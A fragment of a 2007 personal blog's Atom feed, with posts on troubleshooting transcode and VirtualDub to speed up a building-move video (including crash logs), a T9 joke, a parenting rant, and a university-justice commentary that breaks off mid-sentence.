/&gt;drama.&lt;/a&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I thought I&amp;#8217;d take a few minutes to upload &lt;a href="http://www.youtube.com/watch?v=qhPYknymr8o"&gt;this video of the Harvard&lt;br /&gt;Law School building-moving&lt;br /&gt;project&lt;/a&gt; to YouTube. As&lt;br /&gt;usual, the project stretched into three or four hours, complete with&lt;br /&gt;the usual triumvirate of poorly-documented software, inexplicable error&lt;br /&gt;messages, and mysterious crashes.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;First, the fun part:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;object width="425" height="350"&gt; &lt;param name="movie" value="http://www.youtube.com/v/qhPYknymr8o"&gt; &lt;/param&gt; &lt;embed src="http://www.youtube.com/v/qhPYknymr8o" type="application/x-shockwave-flash" width="425" height="350"&gt; &lt;/embed&gt; &lt;/object&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;There are also &lt;a href="http://barillari.org/photos/housemove1"&gt;photos.&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Now, the geeky part. If you&amp;#8217;re not a computer nerd, the rest of this&lt;br /&gt;post may bore you.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I wanted to concatenate a bunch of videos I took with my camera,&lt;br /&gt;rotate the ones that I took at a 90 degree angle, strip out a few&lt;br /&gt;seconds of chaff, and append a title card to each end. And I wanted to&lt;br /&gt;speed them up. It&amp;#8217;s impressive to see a house creep down a street at&lt;br /&gt;all, but on the Internet, no-one wants to spend more than a minute on&lt;br /&gt;it.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I settled for concatenating the videos. (And speeding them up.) Here&amp;#8217;s&lt;br /&gt;what actually worked, after several zillion different things that&lt;br /&gt;didn&amp;#8217;t:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;Use &lt;a href="http://www.transcoding.org/"&gt;transcode&lt;/a&gt; on Linux to concatenate&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  the &lt;span class="caps"&gt;AVI&lt;/span&gt; files together. (Concatenating them with &lt;tt&gt;cat&lt;/tt&gt;&lt;br /&gt;  and running them through &lt;tt&gt;mencoder&lt;/tt&gt; is a bad idea&lt;br /&gt;  (despite what some may&lt;br /&gt;  &lt;a href="http://lists.mplayerhq.hu/pipermail/mplayer-users/2002-December/025326.html"&gt;suggest&lt;/a&gt;&lt;br /&gt;  ) &amp;#8212; it produced a file that crashed most of other programs I tried&lt;br /&gt;  to run on it. Concatenation is easy: &lt;tt&gt;avimerge -o out.avi -i&lt;br /&gt;  in1.avi in2.avi in3.avi &amp;#8230;&lt;/tt&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;Use &lt;a href="http://www.virtualdub.org/"&gt;VirtualDub&lt;/a&gt;&amp;#8221; to speed up the&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  video. Go to Video-&gt;Frame Rate. Click &amp;#8220;Change to ___ frames per&lt;br /&gt;  second&amp;#8221; and set that to some multiple of the original frame rate (I&lt;br /&gt;  used 10, so 15 fps became 150 fps). To ensure that the file is not&lt;br /&gt;  insanely large, you also have to decimate the video. Click &amp;#8220;Decimate&lt;br /&gt;  by ___&amp;#8221; and fill in the multiple of the frame rate you used (10, in&lt;br /&gt;  this case.)  &lt;i&gt;N.B.: &lt;tt&gt; transcode&lt;/tt&gt; is a Linux program and&lt;br /&gt;  VirtualDub is a windows program, so I needed two boxen &lt;i&gt;just to&lt;br /&gt;  upload a video to YouTube!&lt;/i&gt; Of course, I&amp;#8217;m hardly the first to&lt;br /&gt;  &lt;a href="http://www.jwz.org/doc/linuxvideo.html"&gt;rant about this stuff.&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;Compress the video (Video-&gt;Compression), because YouTube only&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  handles videos up to 100MB. I just picked the first codec that&lt;br /&gt;  worked &amp;#8220;Indeo&amp;#174; video 5.10&amp;#8221;). (I also dropped the audio (Audio-&gt;no&lt;br /&gt;  output, for a small savings.)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;Upload it. This was the easy part.&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Now, for the stuff that didn&amp;#8217;t work:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;VirtualDub has a wonderful interface for a piece of free video&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  software. It may be the only piece of free video software with a&lt;br /&gt;  wonderful interface. The problem with VirtualDub is that it&amp;#8217;s&lt;br /&gt;  fantastically finicky about the video it will take. This became an&lt;br /&gt;  issue when I tried to paste my title cards (15 fps) onto my video&lt;br /&gt;  (15.00015 fps). Yes, of course, it refused. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;Avidemux, despite being possessed of a&amp;#8230;utilitatian (but very&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  functional) GTK2 interface, didn&amp;#8217;t refuse to concatenate video&lt;br /&gt;  because of a tiny difference in the frame rate. The problem was that&lt;br /&gt;  it would randomly stop opening the videos it produced for reasons I&lt;br /&gt;  never understood. I&amp;#8217;d use it to append a bunch of mpegs&lt;br /&gt;  together. (These were either straight from the camera or from the&lt;br /&gt;  camera via VirtualDub, where I&amp;#8217;d rotated and cropped them.) It would&lt;br /&gt;  happily save the concatenated video to a file&amp;#8230;then refuse to open&lt;br /&gt;  it. I&amp;#8217;d open one of those files, and the application would instantly&lt;br /&gt;  quit without so much as an error message.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;So I switched back to Linux. I took the clips that I&amp;#8217;d rotated and&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  cropped and tried assembling them using the&lt;br /&gt;  &lt;tt&gt;cat&lt;/tt&gt;&lt;del&gt;and&lt;/del&gt;&lt;tt&gt;mencoder&lt;/tt&gt; method. Flop: I couldn&amp;#8217;t slice&lt;br /&gt;  out the extra frames using the VirtualDub decimator. VirtualDub&lt;br /&gt;  would abort 1/3 of the way in and complain that the file was&lt;br /&gt;  corrupt. Same deal if I used the &lt;tt&gt;avimerge&lt;/tt&gt; technique.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;So I switched to Linux again. My guess as to how to drop the&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  unnecessary frames didn&amp;#8217;t work: I tried the&lt;br /&gt;  &lt;tt&gt;&amp;#8212;frame_interval&lt;/tt&gt; option to &lt;tt&gt;transcode&lt;/tt&gt;...but&lt;br /&gt;  &lt;tt&gt;transcode&lt;/tt&gt; promptly crashed. Like this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;jdb@bigbox:/mnt/max/park$ transcode -i merge.avi --frame_interval 120 -o fast.avi&lt;br /&gt;transcode v1.0.3 (C) 2001-2003 Thomas Oestreich, 2003-2004 T. Bitterberg&lt;br /&gt;(dvd_reader.c) no support for DVD reading configured - exit.&lt;br /&gt;[transcode] (probe) suggested AV correction -D 0 (0 ms) | AV 0 ms | 0 ms&lt;br /&gt;[transcode] auto-probing source merge.avi (ok)&lt;br /&gt;[transcode] V: import format    | MJPG RIFF data, AVI (V=ffmpeg|A=avi)&lt;br /&gt;[transcode] V: import frame     | 320x240  1.33:1&lt;br /&gt;[transcode] V: bits/pixel       | 1.562&lt;br /&gt;[transcode] V: decoding fps,frc | 15.000,0&lt;br /&gt;[transcode] V: Y&amp;#39;CbCr           | YV12/I420&lt;br /&gt;[transcode] A: import format    | 0x1     PCM          [11024, 8,1]  176 kbps&lt;br /&gt;[transcode] A: export           | disabled&lt;br /&gt;[transcode] V: encoding fps,frc | 15.000,13&lt;br /&gt;[transcode] A: bytes per frame  | 733 (734.933333)&lt;br /&gt;[transcode] A: adjustment       | 1936@1000&lt;br /&gt;[transcode] V: IA32/AMD64 accel | sse (sse 3dnowext 3dnow mmxext mmx asm C)&lt;br /&gt;tc_memcpy: using sse for memcpy&lt;br /&gt;[transcode] warning : no option -y found, option -o ignored, writing to &amp;#34;/dev/null&amp;#34;&lt;br /&gt;[transcode] V: video buffer     | 10 &lt;code&gt; 320x240&lt;br /&gt;[import_avi.so] v0.4.2 (2002-05-24) (video) * | (audio) *&lt;br /&gt;[import_ffmpeg.so] v0.1.12 (2004-05-07) (video) ffmpeg: MS MPEG4v1-3/MPEG4/MJPEG&lt;br /&gt;[export_null.so] v0.1.2 (2001-08-17) (video) null | (audio) null&lt;br /&gt;[import_avi.so] format=0x1, rate=11024 Hz, bits=8, channels=1, bitrate=176&lt;br /&gt;[transcode] input is mjpeg, reducing range from YUVJ420P to YUV420P&lt;br /&gt;[filter.c] Filter &amp;#34;levels=output=16-240:pre=1&amp;#34; with args (levels=output=16-240:pre=1)&lt;br /&gt;[filter.c] Filter &amp;#34;levels=output=16-240:pre=1&amp;#34; not loaded. Loading ...&lt;br /&gt;[filter.c] Loading (levels=output=16-240:pre=1) ..&lt;br /&gt;[filter_levels.so]: v1.0.0 (2004-06-09) Luminosity level scaler #0&lt;br /&gt;[filter_levels.so]: scaling 0-255 gamma 1.000000 to 16-240&lt;br /&gt;[filter_levels.so]: pre-processing filter&lt;br /&gt;[mjpeg &lt;/code&gt; 0xb6953c68]invalid id 23618.38 fps, EMT: 0:05:53, ( 0| 0| 0)&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;(Sharp-eyed readers will note that that command wouldn&amp;#8217;t have done&lt;br /&gt;anything anyway, because the computer complained that I didn&amp;#8217;t pass a&lt;br /&gt;&lt;tt&gt;-y&lt;/tt&gt; argument, so it wrote its output to &lt;tt&gt;/dev/null&lt;/tt&gt;. I&lt;br /&gt;didn&amp;#8217;t notice this until just now. I tested it with an actual&lt;br /&gt;&lt;tt&gt;-y&lt;/tt&gt; argument: &lt;tt&gt;-y mjpeg,null&lt;/tt&gt; (because the input was&lt;br /&gt;mjpeg). That also bombed:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;jdb@bigbox:/mnt/max/park$ transcode -i merge.avi --frame_interval 120 -o fast.avi -y mjpeg,null&lt;br /&gt;transcode v1.0.3 (C) 2001-2003 Thomas Oestreich, 2003-2004 T. Bitterberg&lt;br /&gt;(dvd_reader.c) no support for DVD reading configured - exit.&lt;br /&gt;[transcode] (probe) suggested AV correction -D 0 (0 ms) | AV 0 ms | 0 ms&lt;br /&gt;[transcode] auto-probing source merge.avi (ok)&lt;br /&gt;[transcode] V: import format    | MJPG RIFF data, AVI (V=ffmpeg|A=avi)&lt;br /&gt;[transcode] V: import frame     | 320x240  1.33:1&lt;br /&gt;[transcode] V: bits/pixel       | 1.562&lt;br /&gt;[transcode] V: decoding fps,frc | 15.000,0&lt;br /&gt;[transcode] V: Y&amp;#39;CbCr           | YV12/I420&lt;br /&gt;[transcode] A: import format    | 0x1     PCM          [11024, 8,1]  176 kbps&lt;br /&gt;[transcode] A: export           | disabled&lt;br /&gt;[transcode] V: encoding fps,frc | 15.000,13&lt;br /&gt;[transcode] A: bytes per frame  | 733 (734.933333)&lt;br /&gt;[transcode] A: adjustment       | 1936@1000&lt;br /&gt;[transcode] V: IA32/AMD64 accel | sse (sse 3dnowext 3dnow mmxext mmx asm C)&lt;br /&gt;tc_memcpy: using sse for memcpy&lt;br /&gt;[transcode] V: video buffer     | 10 @ 320x240&lt;br /&gt;[import_avi.so] v0.4.2 (2002-05-24) (video) * | (audio) *&lt;br /&gt;[import_ffmpeg.so] v0.1.12 (2004-05-07) (video) ffmpeg: MS MPEG4v1-3/MPEG4/MJPEG&lt;br /&gt;[export_null.so] v0.1.2 (2001-08-17) (video) null | (audio) null&lt;br /&gt;[export_mjpeg.so] v0.0.5 (2003-07-24) (video) Motion JPEG | (audio) MPEG/AC3/PCM&lt;br /&gt;[import_avi.so] format=0x1, rate=11024 Hz, bits=8, channels=1, bitrate=176&lt;br /&gt;[transcode] input is mjpeg, reducing range from YUVJ420P to YUV420P&lt;br /&gt;[filter.c] Filter &amp;#34;levels=output=16-240:pre=1&amp;#34; with args (levels=output=16-240:pre=1)&lt;br /&gt;[filter.c] Filter &amp;#34;levels=output=16-240:pre=1&amp;#34; not loaded. Loading ...&lt;br /&gt;[filter.c] Loading (levels=output=16-240:pre=1) ..&lt;br /&gt;[filter_levels.so]: v1.0.0 (2004-06-09) Luminosity level scaler #0&lt;br /&gt;[filter_levels.so]: scaling 0-255 gamma 1.000000 to 16-240&lt;br /&gt;[filter_levels.so]: pre-processing filter&lt;br /&gt;*** glibc detected *** transcode: malloc(): memory corruption: 0x080f97a8 ***&lt;br /&gt;=== Backtrace: =====&lt;br /&gt;/lib/libc.so.6[0xb7e8682d]&lt;br /&gt;/lib/libc.so.6[0xb7e8726c]&lt;br /&gt;/lib/libc.so.6(__libc_memalign+0xab)[0xb7e8812b]&lt;br /&gt;/usr/lib/libavutil.so.1d(av_malloc+0x2d)[0xb7fc155d]&lt;br /&gt;=== Memory map: ====&lt;br /&gt;&amp;#60;snip&amp;#62;&lt;br /&gt;Aborted (core dumped)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;I couldn&amp;#8217;t find an equivalent option in mencoder, so I decided that&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt; the rotate-and-crop videos must have been corrupted. I ditched them&lt;br /&gt; and went back to the the raw ones from the camera. After some&lt;br /&gt; fiddling, these actually worked. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;In retrospect, I probably could have tried using VirtualDub to&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;  assemble the cropped-and-rotated videos (I didn&amp;#8217;t before, because I&lt;br /&gt;  was trying to add my title cards, which it wouldn&amp;#8217;t do &amp;#8212; at least,&lt;br /&gt;  I couldn&amp;#8217;t produce title cards that it would take.) Ah, well. Next&lt;br /&gt;  time.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-7584805901545810410?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/7584805901545810410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/06/how-to-waste-evening.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7584805901545810410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/7584805901545810410'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/06/how-to-waste-evening.html' title='How to waste an evening'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-3192074824118171070</id><published>2007-02-28T15:26:00.000-08:00</published><updated>2009-10-04T08:49:23.820-07:00</updated><title type='text'>Uh-oh</title><content type='html'>&lt;br /&gt;I entered the date for my qualifying exam on my cell phone&amp;#8217;s calendar.&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I typed in &amp;#8220;qual&amp;#8221; (7825) using the &lt;a href="http://en.wikipedia.org/wiki/T9Word"&gt;T9Word&lt;/a&gt; (&amp;#8220;guess what I&amp;#8217;m typing&amp;#8221;) option.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Its first guess was &amp;#8220;suck&amp;#8221;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I hope that&amp;#8217;s not a bad omen.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-3192074824118171070?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/3192074824118171070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/02/uh-oh.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3192074824118171070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/3192074824118171070'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/02/uh-oh.html' title='Uh-oh'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-8902986220335313669</id><published>2007-02-25T10:54:00.000-08:00</published><updated>2009-10-04T08:49:28.661-07:00</updated><title type='text'>Unsolicited parenting advice</title><content type='html'>&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;i&gt;The New York Times&lt;/i&gt;, today:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;blockquote&gt;&lt;br /&gt;IT&amp;#8217;S difficult when you have a kid,&amp;#8221; the photographer Justine Kurland&lt;br /&gt;said. &amp;#8220;If they&amp;#8217;re in a good mood, you can get work done. But if&lt;br /&gt;they&amp;#8217;re in a bad mood, you&amp;#8217;re at their mercy.&amp;#8221;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Ms. Kurland is known for photographing people in American wilderness&lt;br /&gt;landscapes, but the scene this day was the rent-stabilized apartment&lt;br /&gt;she shares with Casper, her 2-year-old son, on the Lower East Side of&lt;br /&gt;Manhattan.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Casper, named for the 19th-century German landscape painter Caspar&lt;br /&gt;David Friedrich, had just given a textbook example of one of his&lt;br /&gt;trickier moods. His father, the sculptor and multimedia artist Corey&lt;br /&gt;McCorkle, who lives 10 blocks away, arrived to take him out for&lt;br /&gt;breakfast, but he refused to budge. Instead he sat sobbing, rooted to&lt;br /&gt;the kitchen floor, a stunt Ms. Kurland said he increasingly liked to&lt;br /&gt;pull when she was scouting locations on the extended road trips she&lt;br /&gt;takes for her projects. &lt;a href="http://www.nytimes.com/2007/02/25/arts/design/25kino.html"&gt;[continued&amp;#8230;]&lt;/a&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;AAAAAAGH! I can&amp;#8217;t even &lt;span class="caps"&gt;COUNT&lt;/span&gt; how many times my parents pulled &lt;strong&gt;that&lt;/strong&gt;&lt;br /&gt;stunt on &lt;strong&gt;me&lt;/strong&gt; as a kid. I wanted to stay home; instead, I got a tour of&lt;br /&gt;the most boring parts of Massachusetts from the backseat of the&lt;br /&gt;car. Every. Single. Weekend. I&amp;#8217;m surprised that I didn&amp;#8217;t start huffing&lt;br /&gt;paint thinner. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;For heaven&amp;#8217;s sake, lady: Leave. The. Kid. At. Home. It&amp;#8217;s not as though&lt;br /&gt;she&amp;#8217;s living in North Dakota &amp;#8212; this is &lt;span class="caps"&gt;NYC&lt;/span&gt;. She can find a nanny. And&lt;br /&gt;it&amp;#8217;s not as though she has to pay through the nose to avoid the &lt;a href="http://www.google.com/search?q=%22nanny+problem%22"&gt;nanny problem&lt;/a&gt;&lt;br /&gt;&amp;#8212;- she&amp;#8217;s an artist, not a politician. Hire an illegal; no-one&amp;#8217;s going&lt;br /&gt;to check.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;My parents wouldn&amp;#8217;t have even &lt;strong&gt;needed&lt;/strong&gt; a nanny &amp;#8212;- just park me in&lt;br /&gt;front of the Nintendo, thank you very much. It would have been good&lt;br /&gt;practice for the interminable hours of being parked in front of a&lt;br /&gt;computer in college.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-8902986220335313669?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8902986220335313669/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/02/unsolicited-parenting-advice.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8902986220335313669'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8902986220335313669'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/02/unsolicited-parenting-advice.html' title='Unsolicited parenting advice'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1887434253820598532</id><published>2007-02-18T12:11:00.000-08:00</published><updated>2009-10-01T16:36:15.536-07:00</updated><title type='text'>Coincidence?</title><content type='html'>&lt;br /&gt;	&lt;ul&gt;&lt;br /&gt;		&lt;li&gt;September 2000: Enter Princeton University.&lt;/li&gt;&lt;br /&gt;		&lt;li&gt;September 2001: Shirley Tilghman is installed as the first female president of Princeton University.&lt;/li&gt;&lt;br /&gt;		&lt;li&gt;September 2004: Enter Harvard University and the Massachusetts Institute of Technology.&lt;/li&gt;&lt;br /&gt;		&lt;li&gt;December 2004: Susan Hockfield is installed as the first female president of &lt;span class="caps"&gt;MIT&lt;/span&gt;.&lt;/li&gt;&lt;br /&gt;		&lt;li&gt;February 2007: Drew Faust is selected as the first female president of Harvard University.&lt;/li&gt;&lt;br /&gt;	&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;I sense a trend.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1887434253820598532?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1887434253820598532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2007/02/coincidence.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1887434253820598532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1887434253820598532'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2007/02/coincidence.html' title='Coincidence?'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-2955729976334328594</id><published>2007-01-23T17:52:00.000-08:00</published><updated>2009-10-01T16:36:11.042-07:00</updated><title type='text'>Kafka on the Charles, Chinese child theft, and the usual sex scandals</title><content type='html'>&lt;br /&gt;Two stories hit the wires recently: a tiff between Princeton&lt;br /&gt;University and the townies (dog bites man; sky blue) and a child&lt;br /&gt;custody dispute in Tennessee. Both emerge from a little-discussed and&lt;br /&gt;highly sordid corner of college life: University justice.&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;First, &lt;a href="http://www.dailyprincetonian.com/archives/2007/01/22/news/17152.shtml"&gt;from the Princetonian,&lt;/a&gt;&lt;br /&gt;there&amp;#8217;s a fight between Princeton University and the local prosecutor&lt;br /&gt;over a case of assault involving some undergraduates. What appears to&lt;br /&gt;be at issue is the University&amp;#8217;s judicial process, which the locals&lt;br /&gt;think is interfering with their investigation.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;blockquote&gt; For reasons that also remain unclear, Mercer County&lt;br /&gt;    assistant prosecutor William Burns threatened the University with&lt;br /&gt;    legal action when it began its internal disciplinary hearing.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &amp;#8220;If you continue to demand [that the victim] supply documents&lt;br /&gt;pertaining to any criminal charges, you may be charged with&lt;br /&gt;&amp;#8230; Obstructing the Administration of Law [and] Hindering&lt;br /&gt;Prosecution,&amp;#8221; Burns was quoted as writing to the University on Jan. 8,&lt;br /&gt;according to a reply letter by University General Counsel Peter&lt;br /&gt;McDonough.  &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Given that the University judicial process (oops, &lt;strong&gt;two&lt;/strong&gt; judicial&lt;br /&gt;processes &amp;#8212;- the Honor Committee, which handles in-class cheating,&lt;br /&gt;and the Committee on Discipline, which handles everything else) has&lt;br /&gt;never been a shining example of transparency, I tend to side with its&lt;br /&gt;critics, whatever their reasons. Unfortunately, the article doesn&amp;#8217;t&lt;br /&gt;tell us prosecutor&amp;#8217;s beef is.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;The alleged assault victim&amp;#8217;s lawyer has a more pointed critique:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; The recent conflicts between the University and law&lt;br /&gt;    enforcement authorities show that current practice of dual,&lt;br /&gt;    independent frameworks is unacceptable, Murphy said. Calling the&lt;br /&gt;    University disciplinary process an attempt to &amp;#8220;resemble a&lt;br /&gt;    fully-functional mini-criminal trial,&amp;#8221; Murphy said that the&lt;br /&gt;    University&amp;#8217;s efforts usurped the power of local authorities.&lt;br /&gt;    &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;My feelings exactly &amp;#8212;- you&amp;#8217;ll see why in a moment. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;A bigger-deal case just made the national headlines: a Chinese couple&lt;br /&gt;won custody of their daughter after the Tennessee Supreme Court&lt;br /&gt;overturned the decision of a Memphis judge who had awarded custody&lt;br /&gt;to a foster family.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;According to the article, the parents, Shaoqiang He, and his wife, Qin&lt;br /&gt;Luo He, fell upon hard times and sent their month-old daughter to live&lt;br /&gt;with another family [editor&amp;#8217;s note: WTF?!] temporarily. When they&lt;br /&gt;wanted her back, the other family refused to give her up.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;The case spurred the usual complaints about anti-Chinese prejudice in&lt;br /&gt;the judicial system; how it was stacked against foreigners with poor&lt;br /&gt;English; the usual. (Interestingly, half of the Google hits during my&lt;br /&gt;searches on the subject were from English-language versions of Chinese&lt;br /&gt;newspapers.) But that&amp;#8217;s not the interesting part. The interesting part&lt;br /&gt;is &lt;i&gt;how&lt;/i&gt; the He family&amp;#8217;s financial difficulties came&lt;br /&gt;about. According to the &lt;a href="http://apnews.myway.com/article/20070123/D8MR9OTG0.html"&gt;AP story:&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Anna Mae was born in 1999 shortly after her father, a student at the&lt;br /&gt;University of Memphis, was accused of a sexual assault. He was&lt;br /&gt;ultimately acquitted, but the charge cost him a scholarship and the&lt;br /&gt;student stipend that was his family&amp;#8217;s primary source of income.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;A 24 January 2002 article from Life magazine provides a bit more detail.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;&lt;blockquote&gt;&lt;br /&gt;Anna Mae was born on Jan. 28, 1999, into poverty and turmoil. Her father, &amp;#8220;Jack&amp;#8221; Shaoqiang He, 37 &amp;#8212; known around this friendly Southern town as &amp;#8220;Mister He&amp;#8221; &amp;#8212; was a visiting college professor from China who came to the &lt;span class="caps"&gt;USA&lt;/span&gt; on a student visa and was pursuing a doctorate in economics at the University of Memphis.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;	&lt;p&gt;Here he married 